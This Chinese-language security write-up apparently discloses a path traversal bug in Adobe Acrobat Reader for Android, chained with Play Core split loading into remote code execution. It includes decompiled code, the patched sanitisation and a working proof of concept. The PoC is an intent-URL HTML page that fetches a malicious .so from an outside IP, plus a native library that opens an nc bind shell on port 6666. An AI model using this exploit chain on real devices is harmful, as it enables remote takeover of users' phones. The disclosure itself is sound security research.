概括
在测试 Adobe Acrobat 阅读器应用程序时,该应用程序具有允许用户直接从 http/https url 打开 pdf 的功能。此功能易受路径横向漏洞的影响。Abode reader 还使用 Google play 核心库进行动态代码加载。使用路径横向错误和动态代码加载,我能够实现远程代码执行。
寻找路径横向漏洞
代码语言:javascript复制 <activity android:theme="@style/Theme_Virgo_SplashScreen" android:name="com.adobe.reader.AdobeReader" android:exported="true" android:launchMode="singleTask" android:screenOrientation="user" android:configChanges="keyboardHidden|screenLayout|screenSize|smallestScreenSize" android:noHistory="false" android:resizeableActivity="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<action android:name="android.intent.action.EDIT"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="file"/>
<data android:scheme="content"/>
<data android:scheme="http"/>
<data android:scheme="https"/>
<data android:mimeType="application/pdf"/>
</intent-filter>
应用程序中有这个意图过滤器,表明它将接受 http/https url 方案,并且 mimeType 应该application/pdf
用于此活动。
例如,当带有数据 url 的意图http://localhost/test.pdf
被发送到 adobe reader 应用程序时,它会下载文件/sdcard/Downloads/Adobe Acrobat
夹中的文件,文件名为所发送 url 的 LastPathSegment(ie test.pdf
)。
Activitycom.adobe.reader.AdobeReader
接收到 Intent 并启动ARFileURLDownloadActivity
Activity。
public void handleIntent() {
Intent intent2 = new Intent(this, ARFileURLDownloadActivity.class);
intent2.putExtra(ARFileTransferActivity.FILE_PATH_KEY, intent.getData());
intent2.putExtra(ARFileTransferActivity.FILE_MIME_TYPE, intent.getType());
startActivity(intent2);
}
此活动ARFileURLDownloadActivity
开始com.adobe.reader.misc.ARFileURLDownloadService
服务。
public void onMAMCreate(Bundle bundle) {
super.onMAMCreate(bundle);
this.mServiceIntent = new Intent(this, ARFileURLDownloadService.class);
Bundle bundle2 = new Bundle();
//...//
this.mServiceIntent.putExtras(bundle2);
startService();
}
在 com.adobe.reader.misc.ARFileURLDownloadService.java
public int onMAMStartCommand(Intent intent, int i, int i2) {
Bundle extras = intent.getExtras();
//..//
String string = extras.getString(ARFileTransferActivity.FILE_MIME_TYPE, null);
ARURLFileDownloadAsyncTask aRURLFileDownloadAsyncTask = new ARURLFileDownloadAsyncTask(ARApp.getInstance(), (Uri) extras.getParcelable(ARFileTransferActivity.FILE_PATH_KEY), (String) extras.getCharSequence(ARFileTransferActivity.FILE_ID_KEY), true, string);
this.mURLFileDownloadAsyncTask = aRURLFileDownloadAsyncTask;
aRURLFileDownloadAsyncTask.taskExecute(new Void[0]);
return 2;
}
在 com.adobe.reader.misc.ARURLFileDownloadAsyncTask.java
private void downloadFile() throws IOException, SVFileDownloadException {
Exception exc;
boolean z;
Throwable th;
boolean z2;
Uri fileURI = this.mDownloadModel.getFileURI();
URL url = new URL(fileURI.toString());
try {
String downloadFile = new ARFileFromURLDownloader(new ARFileFromURLDownloader.DownloadUrlListener() {
ARFileFromURLDownloader.DownloadUrlListener
public void onProgressUpdate(int i, int i2) {
ARURLFileDownloadAsyncTask.this.broadcastUpdate(0, i, i2);
}
@Override // com.adobe.reader.misc.ARFileFromURLDownloader.DownloadUrlListener
public boolean shouldCancelDownload() {
return ARURLFileDownloadAsyncTask.this.isCancelled();
}
}).downloadFile(BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData(fileURI.getLastPathSegment(), this.mDownloadModel.getMimeType(), null, fileURI), url);
//...//
此方法BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData
将 this.mUri.getLastPathSegment() 作为参数,并返回 url 路径中解码的最后一段。
例如,让我们获取这个 url https://localhost/x/../../file.pdf
,所以当这个 url 被传递给 getLastPathSegment() 方法时,它将../../file.pdf
作为 url 的最后一段并../../file.pdf
作为输出返回。
downloadFile
在将变量传递到文件实例之前,没有对变量进行任何清理,这导致了路径横向漏洞。
获取 RCE
Adobe Acrobat Reader 应用程序使用 Google play 核心库为其用户提供额外的功能。
了解应用程序是否使用 play 核心库进行动态代码加载的一种简单方法是检查spiltcompat
目录中的/data/data/:application_id/files/
目录。
使用路径横向漏洞,我可以在应用程序的目录中编写任意 apk。/data/data/com.adobe.reader/files/splitcompat/1921618197/verified-splits/
来自攻击者 apk 的类将自动添加到应用程序的 ClassLoader 中,并且从应用程序调用时将执行恶意代码。更详细的解释请阅读这篇文章
Adobe 阅读器应用程序还会FASOpenCVDF.apk
在应用程序运行时下载模块名称。计划是覆盖这个文件并远程执行代码,但这是不可能的。问题在于这个路径横向漏洞,我无法覆盖现有文件……只能创建新文件。
我在这个阶段被困了很长时间,寻找一种无需安装额外 apk 即可远程执行代码的方法。在使用我设备上安装的 play 核心库分析其他应用程序后,我看到 play 核心库还提供了从 /data/data/com.adobe.reader/files/splitcompat/:id/native-libraries/
目录加载本机代码(.so 文件)的功能。
FASOpenCVDF.apk
模块还从 /data/data/com.adobe.reader/files/splitcompat/1921819312/native-libraries/FASOpenCVDF.config.arm64_v8a
目录加载本机库。我决定查看FASOpenCVDF.apk
源代码,在那里我发现这个模块也在尝试加载三个不可用的库,libADCComponent.so
这解决了我远程执行代码的问题。libColoradoMobile.solibopencv_info.so
我创建了一个简单的 poc 本机库,将其重命名为libopencv_info.so
并将其放入 /data/data/com.adobe.reader/files/splitcompat/1921819312/native-libraries/FASOpenCVDF.config.arm64_v8a 目录中,并在下次启动时填充和签名功能将被使用,恶意代码将被执行。
概念证明
代码语言:javascript复制<html>
<title> RCE in Adobe Acrobat Reader for android </title>
<body>
<script>
window.location.href="intent://34.127.85.178/x/x/x/x/x/../../../../../data/data/com.adobe.reader/files/splitcompat/1921819312/native-libraries/FASOpenCVDF.config.arm64_v8a/libopencv_info.so#Intent;scheme=http;type=application/*;package=com.adobe.reader;component=com.adobe.reader/.AdobeReader;end";
</script>
</body>
</html>
代码语言:javascript复制#include <jni.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {
if (fork() == 0) {
system("toybox nc -p 6666 -L /system/bin/sh -l");
}
JNIEnv* env;
if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK) {
return JNI_ERR;
}
return JNI_VERSION_1_6;
}
漏洞修复!
在 com.adobe.libs.buildingblocks.utils.BBIntentUtils.java
private static final String FILE_NAME_RESERVED_CHARACTER = "[*/\|?<>"]";
public static String getModifiedFileNameWithExtensionUsingIntentData(String str, String str2, ContentResolver contentResolver, Uri uri) {
if (TextUtils.isEmpty(str)) {
str = BBConstants.DOWNLOAD_FILE_NAME;
}
String str3 = null;
if (!(contentResolver == null || uri == null)) {
str3 = MAMContentResolverManagement.getType(contentResolver, uri);
}
String str4 = !TextUtils.isEmpty(str3) ? str3 : str2;
if (!TextUtils.isEmpty(str4)) {
String fileExtensionFromMimeType = BBFileUtils.getFileExtensionFromMimeType(str4);
if (!TextUtils.isEmpty(fileExtensionFromMimeType)) {
if (str.lastIndexOf(46) == -1) {
str = str '.' fileExtensionFromMimeType;
} else {
String mimeTypeForFile = BBFileUtils.getMimeTypeForFile(str);
if (TextUtils.isEmpty(mimeTypeForFile) || (!TextUtils.equals(mimeTypeForFile, str3) && !TextUtils.equals(mimeTypeForFile, str2))) {
str = str '.' fileExtensionFromMimeType;
}
}
}
}
return str.replaceAll(FILE_NAME_RESERVED_CHARACTER, "_");
}